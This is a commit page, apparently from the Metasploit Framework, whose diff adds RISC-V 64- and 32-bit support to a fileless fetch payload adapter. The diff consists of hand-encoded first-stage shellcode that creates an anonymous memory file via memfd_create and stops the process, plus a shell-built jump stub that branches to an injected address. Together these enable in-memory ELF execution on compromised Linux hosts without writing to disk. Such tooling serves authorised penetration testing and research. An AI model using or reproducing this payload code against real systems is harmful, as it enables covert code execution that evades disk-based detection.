Skip to content

Commit d931762

Browse files
committed
Add RISC-V fileless fetch payload support
Add riscv64le and riscv32le architecture support to the fileless fetch payload adapter. This enables in-memory ELF execution via memfd_create on RISC-V Linux targets without writing to disk. The first-stage shellcode (52 bytes, 13 instructions) performs: memfd_create("") -> ftruncate(fd, 0) -> getpid() -> kill(pid, SIGSTOP) Uses getpid + kill(SIGSTOP) instead of pause, as pause is not available in the asm-generic syscall table used by RISC-V. This matches the existing aarch64 approach. The jump stub uses auipc + ld/lw + jalr to load and branch to an absolute address embedded after the instruction sequence (20 bytes for rv64, 16 bytes for rv32). Only RV32I/RV64I base integer instructions are used. The sole difference between the two variants is sd vs sw for the stack store.
1 parent aee4762 commit d931762

1 file changed

Lines changed: 58 additions & 0 deletions

File tree

lib/msf/core/payload/adapter/fetch/fileless.rb

Lines changed: 58 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -138,6 +138,48 @@ def _generate_first_stage_shellcode(arch)
138138
0x0c010101, #0x1020: syscall 0x40404 0x0c010101
139139
]
140140
payload = in_memory_loader_asm.pack('N*')
141+
when 'riscv64le'
142+
# fd = memfd_create("")
143+
# ftruncate(fd, 0)
144+
# pid = getpid()
145+
# kill(pid, SIGSTOP)
146+
in_memory_loader_asm = [
147+
0x00b5c5b3, # xor a1, a1, a1 # a1 = 0 (flags)
148+
0xff010113, # addi sp, sp, -16 # allocate stack space
149+
0x00b13023, # sd a1, 0(sp) # store "" on stack
150+
0x00010513, # addi a0, sp, 0 # a0 = &""
151+
0x11700893, # addi a7, x0, 279 # __NR_memfd_create
152+
0x00000073, # ecall # fd in a0
153+
0x02e00893, # addi a7, x0, 46 # __NR_ftruncate (a1=0)
154+
0x00000073, # ecall
155+
0x0ac00893, # addi a7, x0, 172 # __NR_getpid
156+
0x00000073, # ecall # pid in a0
157+
0x01300593, # addi a1, x0, 19 # SIGSTOP
158+
0x08100893, # addi a7, x0, 129 # __NR_kill
159+
0x00000073, # ecall # kill(pid, SIGSTOP)
160+
]
161+
payload = in_memory_loader_asm.pack('V*')
162+
when 'riscv32le'
163+
# fd = memfd_create("")
164+
# ftruncate(fd, 0)
165+
# pid = getpid()
166+
# kill(pid, SIGSTOP)
167+
in_memory_loader_asm = [
168+
0x00b5c5b3, # xor a1, a1, a1 # a1 = 0 (flags)
169+
0xff010113, # addi sp, sp, -16 # allocate stack space
170+
0x00b12023, # sw a1, 0(sp) # store "" on stack
171+
0x00010513, # addi a0, sp, 0 # a0 = &""
172+
0x11700893, # addi a7, x0, 279 # __NR_memfd_create
173+
0x00000073, # ecall # fd in a0
174+
0x02e00893, # addi a7, x0, 46 # __NR_ftruncate (a1=0)
175+
0x00000073, # ecall
176+
0x0ac00893, # addi a7, x0, 172 # __NR_getpid
177+
0x00000073, # ecall # pid in a0
178+
0x01300593, # addi a1, x0, 19 # SIGSTOP
179+
0x08100893, # addi a7, x0, 129 # __NR_kill
180+
0x00000073, # ecall # kill(pid, SIGSTOP)
181+
]
182+
payload = in_memory_loader_asm.pack('V*')
141183

142184
else
143185
fail_with(Msf::Module::Failure::BadConfig, 'Unsupported architecture')
@@ -204,6 +246,22 @@ def _generate_jmp_instruction(arch)
204246
when 'mips64'
205247
%^"041100000000000001ce7026dfee001001c0000800000000"$(echo $(printf %016x $vdso_addr))^
206248

249+
# RISC-V 64-bit LE shellcode
250+
# auipc t0, 0
251+
# ld t0, 12(t0)
252+
# jr t0
253+
# .dword [target address]
254+
when 'riscv64le'
255+
%^"9702000083b2c20067800200"$(echo $(printf %016x $vdso_addr) | rev | sed -E 's/(.)(.)/\\2\\1/g')^
256+
257+
# RISC-V 32-bit LE shellcode
258+
# auipc t0, 0
259+
# lw t0, 12(t0)
260+
# jr t0
261+
# .word [target address]
262+
when 'riscv32le'
263+
%^"9702000083a2c20067800200"$(echo $(printf %08x $vdso_addr) | rev | sed -E 's/(.)(.)/\\2\\1/g')^
264+
207265
else
208266
fail_with(Msf::Module::Failure::BadConfig, 'Unsupported architecture')
209267
end

0 commit comments

Comments
 (0)